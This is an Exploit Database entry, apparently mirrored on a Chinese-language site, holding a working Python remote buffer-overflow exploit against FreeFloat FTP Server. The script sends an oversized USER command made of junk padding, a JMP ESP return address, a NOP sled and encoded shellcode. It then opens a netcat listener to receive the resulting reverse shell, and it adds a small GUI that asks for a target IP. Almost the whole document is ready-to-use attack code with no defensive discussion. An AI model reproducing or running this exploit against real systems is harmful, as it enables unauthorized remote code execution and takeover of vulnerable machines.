Freefloat FTP Server – ‘USER’ Remote Buffer Overflow

Exploit Database
101 阅读

作者： D35m0nd142

日期： 2012-12-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/23243/

#Exploit title: FreeFloat FTP Server Remote Command Execution USER Command Buffer Overflow

#Date: 06/12/2012

#Exploit Author: D35m0nd142

#Vendor Homepage: http://www.freefoat.com

#Tested on Windows XP SP3 with Ubuntu 12.04

#!/usr/bin/python

import socket,sys,time,os

import Tkinter,tkMessageBox

os.system("clear")

def exploit():

target = ip.get()

junk = "\x41" * 230 # Offest Number --> 230

eip = "\x53\x93\x37\x7E"# 0x7E379353 FFE4 JMP ESP

nops = "\x90" * 20

payload =("\xb8\xe9\x78\x9d\xdb\xda\xd2\xd9\x74\x24\xf4\x5e\x2b\xc9" +

"\xb1\x4f\x31\x46\x14\x83\xc6\x04\x03\x46\x10\x0b\x8d\x61" +

"\x33\x42\x6e\x9a\xc4\x34\xe6\x7f\xf5\x66\x9c\xf4\xa4\xb6" +

"\xd6\x59\x45\x3d\xba\x49\xde\x33\x13\x7d\x57\xf9\x45\xb0" +

"\x68\xcc\x49\x1e\xaa\x4f\x36\x5d\xff\xaf\x07\xae\xf2\xae" +

"\x40\xd3\xfd\xe2\x19\x9f\xac\x12\x2d\xdd\x6c\x13\xe1\x69" +

"\xcc\x6b\x84\xae\xb9\xc1\x87\xfe\x12\x5e\xcf\xe6\x19\x38" +

"\xf0\x17\xcd\x5b\xcc\x5e\x7a\xaf\xa6\x60\xaa\xfe\x47\x53" +

"\x92\xac\x79\x5b\x1f\xad\xbe\x5c\xc0\xd8\xb4\x9e\x7d\xda" +

"\x0e\xdc\x59\x6f\x93\x46\x29\xd7\x77\x76\xfe\x81\xfc\x74" +

"\x4b\xc6\x5b\x99\x4a\x0b\xd0\xa5\xc7\xaa\x37\x2c\x93\x88" +

"\x93\x74\x47\xb1\x82\xd0\x26\xce\xd5\xbd\x97\x6a\x9d\x2c" +

"\xc3\x0c\xfc\x38\x20\x22\xff\xb8\x2e\x35\x8c\x8a\xf1\xed" +

"\x1a\xa7\x7a\x2b\xdc\xc8\x50\x8b\x72\x37\x5b\xeb\x5b\xfc" +

"\x0f\xbb\xf3\xd5\x2f\x50\x04\xd9\xe5\xf6\x54\x75\x56\xb6" +

"\x04\x35\x06\x5e\x4f\xba\x79\x7e\x70\x10\x0c\xb9\xe7\x5b" +

"\xa7\x44\x78\x33\xba\x46\x69\x98\x33\xa0\xe3\x30\x12\x7b" +

"\x9c\xa9\x3f\xf7\x3d\x35\xea\x9f\xde\xa4\x71\x5f\xa8\xd4" +

"\x2d\x08\xfd\x2b\x24\xdc\x13\x15\x9e\xc2\xe9\xc3\xd9\x46" +

"\x36\x30\xe7\x47\xbb\x0c\xc3\x57\x05\x8c\x4f\x03\xd9\xdb" +

"\x19\xfd\x9f\xb5\xeb\x57\x76\x69\xa2\x3f\x0f\x41\x75\x39" +

"\x10\x8c\x03\xa5\xa1\x79\x52\xda\x0e\xee\x52\xa3\x72\x8e" +

"\x9d\x7e\x37\xbe\xd7\x22\x1e\x57\xbe\xb7\x22\x3a\x41\x62" +

"\x60\x43\xc2\x86\x19\xb0\xda\xe3\x1c\xfc\x5c\x18\x6d\x6d" +

"\x09\x1e\xc2\x8e\x18")

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

sock.connect((target,21))

print "\n\n[-] Sending exploit ..."

print sock.recv(2000)

sock.send("USER "+junk+eip+nops+payload+"\r\n")

sock.close()

os.system("nc -lvp 4444")

except:

print "[-] Connection to "+target+" failed! \n"

sys.exit(0)

root=Tkinter.Tk()

root.geometry("%dx%d" %(700,375))

root.title("*** FreeFloat FTP Server Remote Code Execution USER Command Buffer Overflow***")

root['bg'] = 'black'

developer=Tkinter.Label(text="Developed by D35m0nd142").pack(side='bottom')

ip_answer=Tkinter.Label(text="IP Address ").pack()

ip=Tkinter.StringVar()

ip_entry=Tkinter.Entry(textvariable=ip).pack()

exploit=Tkinter.Button(text="Exploit",command=exploit).pack()

root.mainloop()